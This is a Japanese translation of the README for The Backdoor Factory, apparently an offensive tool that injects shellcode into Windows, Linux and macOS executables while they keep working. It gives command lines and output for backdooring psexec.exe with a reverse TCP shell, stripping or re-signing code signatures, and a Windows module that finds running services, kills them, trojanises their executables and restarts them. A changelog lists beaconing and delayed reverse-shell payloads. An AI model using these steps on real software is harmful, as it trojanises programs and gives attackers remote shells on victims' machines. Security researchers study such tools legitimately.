
シェルコードを使用してPE、ELF、Mach-Oバイナリにパッチを適用。新バージョンは開発中で、スポンサーのみ利用可能です。
セキュリティ専門家と研究者のみを対象としています。
BDFの目的は、実行可能バイナリにユーザーが望むシェルコードをパッチとして埋め込み、パッチ適用前の状態の通常の実行を継続させることです。
Black Hat USA 2015:
Video: https://www.youtube.com/watch?v=OuyLzkG16Uk
Paper: https://www.blackhat.com/docs/us-15/materials/us-15-Pitts-Repurposing-OnionDuke-A-Single-Case-Study-Around-Reusing-Nation-State-Malware-wp.pdf
Shmoocon 2015:
Video: https://archive.org/details/joshpitts_shmoocon2015
Paper: https://www.dropbox.com/s/te7e35c8xcnyfzb/JoshPitts-UserlandPersistenceOnMacOSX.pdf
DerbyCon 2014:
Video: http://www.youtube.com/watch?v=LjUN9MACaTs
DerbyCon 2013:
Video: http://www.youtube.com/watch?v=jXLb2RNX5xs
Injection Module Demo: http://www.youtube.com/watch?v=04aJAex2o3U
Slides: http://www.slideshare.net/midnite_runr/patching-windows-executables-with-the-backdoor-factory
開発者への連絡先:
IRC:
irc.freenode.net #BDFactory
Twitter:
@midnite_runr
BSD 3 Clause License に基づいています
wiki を参照: https://github.com/secretsquirrel/the-backdoor-factory/wiki
docker pull secretsquirrel/the-backdoor-factory
docker run -it secretsquirrel/the-backdoor-factory bash
# ./backdoor.py
###OLD SCHOOL
####依存関係 #####OnionDuke を使用するには、Intel マシン上でなければなりません。aPLib はまだ ARM チップセットをサポートしていないためです。
Capstone engine は PyPi からインストールできます:
sudo pip install capstone
Pefile(最新版):
https://code.google.com/p/pefile/
osslsigncode(リポジトリに同梱):
http://sourceforge.net/p/osslsigncode/osslsigncode/ci/master/tree/
Kali インストール:
apt-get update
apt-get install backdoor-factory
その他の *NIX/MAC インストール:
./install.sh
これにより Capstone 3.01 と、pefile をインストールするための pip がインストールされます。
アップデート:
./update.sh
対応フォーマット:
Windows PE x86/x64、ELF x86/x64 (System V、FreeBSD、ARM Little Endian x32)、
および Mach-O x86/x64 と、FAT ファイル内のこれらのフォーマット
パックされたファイル: PE UPX x86/x64
実験的サポート: OpenBSD x32
一部の実行可能ファイルには組み込みの保護機能があるため、すべてのバイナリで動作するわけではありません。ターゲットバイナリをクライアントに配布する前や演習で使用する前に、テストすることをお勧めします。NSIS のバイパスにも取り組んでおり、これらのチェックのバイパスは今後含まれる予定です。
Ryan O'Neill --ryan 'at' codeslum <d ot> org-- に多大な感謝を捧げます。
彼がいなければ、私は今でも ELF フォーマットで
愚かなことをしようとしていたでしょう。
また、これらの ELF パッチ技術の基礎となった
Silvio Cesare の 1998 年の論文 (http://vxheaven.org/lib/vsc01.html) にも感謝します。
./backdoor.py -h Usage: backdoor.py [options]
##機能:
###PE ファイル
EXE/DLL 内のすべてのコードケーブを見つけることができます。
デフォルトで、PE 証明書テーブルへのポインタをクリアし、バイナリの署名を無効化します。
コードケーブまたは新しいセクションにシェルコードを注入できます。
PE バイナリが昇格された特権で実行される必要があるかどうかを検出できます。
コードケーブを選択する際、以下のコマンドを使用できます:
-Jump (j)、コードケーブジャンプ用
-Single (s)、すべてのシェルコードを1つのケーブにパッチする用
-Append (a)、コードケーブを作成する用
-Ignore (iまたはq)、やめて、このバイナリを無視する
DLL を無視できます
インポートテーブルパッチ
自動パッチ (-m automtic)
Onionduke (-m onionduke)
###ELF ファイル
TEXT SEGMENT を1000バイト拡張し、そのコードセクションにシェルコードを注入します。
###Mach-O ファイル Pre-Text セクションパッチと署名除去
###全体
ユーザーは以下のことが可能です:
-カスタムシェルコードを提供する。
-実行可能ファイル/DLL のディレクトリにパッチを適用する。
-x32 または x64 バイナリのみを選択してパッチする。
-BDF を他の Python プロジェクトに含める(pebin.py と elfbin.py を参照)
###既存のコードケーブを使用して exe/dll をパッチする:
./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Looking for caves that will fit the minimum shellcode length of 402
[*] All caves lengths: (402,)
############################################################
The following caves can be used to inject code and possibly
continue execution.
**Don't like what you see? Use jump, single, append, or ignore.**
############################################################
[*] Cave 1 length as int: 402
[*] Available caves:
1. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e4d5 End: 0x2e6d0; Cave Size: 507
2. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e6e9 End: 0x2e8d5; Cave Size: 492
3. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e8e3 End: 0x2ead8; Cave Size: 501
4. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eaf1 End: 0x2ecdd; Cave Size: 492
5. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2ece7 End: 0x2eee0; Cave Size: 505
6. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eef3 End: 0x2f0e5; Cave Size: 498
7. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f0fb End: 0x2f2ea; Cave Size: 495
8. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f2ff End: 0x2f4f8; Cave Size: 505
9. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f571 End: 0x2f7a0; Cave Size: 559
10. Section Name: .rsrc; Section Begin: 0x30600 End: 0x5f200; Cave begin: 0x5b239 End: 0x5b468; Cave Size: 559
**************************************************
[!] Enter your selection: 5
Using selection: 5
[*] Changing Section Flags
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory
###コードセクションを追加して exe/dll をパッチする:
./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Creating Code Cave
- Adding a new section to the exe/dll for shellcode injection
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory
###exe のディレクトリをパッチする: ./backdoor.py -d test/ -i 192.168.0.100 -p 8080 -s reverse_shell_tcp -a ...output too long for README...
###ユーザー指定のシェルコード: msfpayload windows/exec CMD='calc.exe' R > calc.bin ./backdoor.py -f psexec.exe -s user_supplied_shellcode -U calc.bin これにより、ターゲットの Windows ワークステーションで calc.exe が起動します。とても 1337 です。非常に pwn。すごい。
###PEコードサイニング
コードサイニング証明書があれば、BDF は PE ファイルに署名できます。osslsigncode を使用します。 署名証明書と秘密鍵を certs/ ディレクトリに置きます。このブログ記事の openssl コマンドを使用して証明書を準備します: http://secureallthethings.blogspot.com/2015/12/add-pe-code-signing-to-backdoor-factory.html
秘密鍵のパスワードをファイルに(驚きですが)以下のように(正確にこのように)入れます:
echo -n yourpassword > certs/passFile.txt
証明書の名前を以下のように正確に付けます:
signingCert.cer => certs/signingCert.cer
signingPrivateKey.pem => certs/signingPrivateKey.pem
certs/ ディレクトリは以下のように正確に構成されている必要があります:
certs
├── passFile.txt
├── signingPrivateKey.pem
└── signingCert.cer
-C フラグで PE コードサイニングを有効にします:
./backdoor.py -f tcpview.exe -s iat_reverse_tcp_inline -H 172.16.186.1 -P 8080 -m automatic -C
正常に実行されると、BDF の出力に次の行が表示されます:
[*] Code Signing Succeeded
###ハントアンドバックドア: インジェクター | Windows のみ インジェクターモジュールは、ディスク上でバックドアを仕込む対象の実行可能ファイルを探します。対象をサービスとして識別しているかどうかを確認し、プロセスが実行中かどうかを確認し、プロセスおよび/またはサービスを強制終了し、シェルコードを実行可能ファイルに注入し、元のファイルを file.exe.old または選択した別のサフィックスに保存し、プロセスまたはサービスの再起動を試みます。 対象を選択するには、'injector' モジュールの python 辞書 "list_of_targets" を編集します。
./backdoor.py -i -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a -u .moocowwow
###変更履歴
####01/11/2016
####07/04/2016
####06/19/2016
####12/20/2015
####12/18/2015
####11/17/2015
####11/13/2015
####10/19/2015
####10/13/2015
####08/12/2015
提供されたバイナリをそのまま PE にコピーする 'replace' PATCH_METHOD を追加
主に BDFProxy での使用向け
Usage: ./backdoor.py -f weee.exe -m replace -b supplied_binary.exe
####08/11/2015
####08/05/2015
####5/01/2015
####4/28/2015
####4/14/2015
たくさんのアップデート:
PE ファイルの自動パッチ (*_threaded ペイロードで -m automatic を使用)
x86/x64 PE ファイル用の新しい IAT ペイロード
####2/14/2015 みなさん大好きです
winAPI 呼び出しにインポートテーブルを使用する iat_reverse_tcp ペイロードをサポートするため、 PE へのインポートアドレステーブルパッチを追加。パッチ対象のバイナリに LoadLibraryA と GetProcAddress がない場合、例えば BDF はそれらを 新しいセクションの新しいインポートテーブルにパッチします。x64/x86 PE をサポートします。
x64 PE 用の iat_reverse_tcp を追加。
バグ修正と改善
####1/1/2015
あけましておめでとうございます!
2つの新しい OS X ペイロード! 遅延: delay_reverse_shell_tcp
-B 30 --> ペイロードを30秒遅延させ、メインコードはすぐに実行されます。
BDF に組み込むための capstone コミットの固定設定。capstone 'Next' リポジトリは BDF を壊します。
cython capstone 実装の null バイト切り詰め問題をサポートするための修正
####12/27/2014
payloadtests.py を追加
このスクリプトは backdoored にパッチ済みファイルを出力し、ユーザーが ペイロードを自由にテストできるようにします。各ペイロードタイプは使用するポートを 1ずつ増やします。
Usage: payloadtest.py binary HOST PORT
####12/17/2014
x86 および x64 用の OS X ビーコニングペイロード: beaconing_reverse_shell_tcp
-B 15 --> ビーコン時間を15秒に設定
BDFProxy の OS X サポートのバグ修正
####10/11/2014
PE UPX パッチ追加
####9/26/2014
Mach-O x86/x64 追加
x86 IAT ペイロード最適化
####7/31/2014
ARM x32 LE ELF パッチサポート追加
####7/22/2014
FreeBSD x32 ELF パッチサポート追加
BSD 3 Clause License に変更
####7/13/2014
Capstone を組み込み: http://www.capstone-engine.org/
Capstone を追加する過程で、約500行のコードを削除しました。これはかなり素晴らしいことです。
loadliba_reverse_tcp を iat_reverse_tcp に改名。
速度のための小さな最適化。
####5/30/2014
新しい win86 シェルコードを追加: loadliba_reverse_tcp